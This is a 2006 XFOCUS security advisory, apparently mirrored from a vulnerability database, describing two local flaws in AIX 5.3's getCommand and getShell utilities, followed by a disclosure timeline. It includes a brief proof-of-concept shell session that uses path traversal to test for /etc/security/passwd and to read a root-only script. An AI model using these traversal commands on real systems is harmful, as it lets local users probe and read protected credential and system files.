[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities

2006-01-03T00:00:00
ID SECURITYVULNS:DOC:10865
Type securityvulns
Reporter Securityvulns
Modified 2006-01-03T00:00:00

Description

Title:[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities

Affected version : aix5.3 ml03,Other versions not test, should also be affected. Vendor: http://www.ibm.com/ Where: Local

XFOCUS (http://www.xfocus.org) had already discovered some vulnerabilities in getCommand&getShell.

After apply newest patch,getCommand&getShell still have two vulnerabilities,That is 1: exploit that,a attacker can determine file be exist or not,which should can't readed 2: exploit that,a attacker can read in any shell document(include no permission file) has the cd operation the following partial content.

example test: -bash-3.00$./getCommand.new ../../../../../../etc/security/passwd -bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa fopen: No such file or directory -bash-3.00$ ls -ld /etc/security/ drwxr-x--- 4 root security 512 2005-12-22 21:09 /etc/security/ -bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40 /tmp/k.sh -bash-3.00$./getCommand.new ../../../../../tmp/k.sh

ps -ef > /tmp/log. $$ grep test /tmp/log. $$ rm /tmp/log. $$

-bash-3.00$

TIME LINE: December,26 2005 - Initial vendor notification .....Waiting.....Waiting.... January 1, 2006 - Public disclosure(vendor not reply)

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Kind Regards,


XFOCUS Security Team http://www.xfocus.org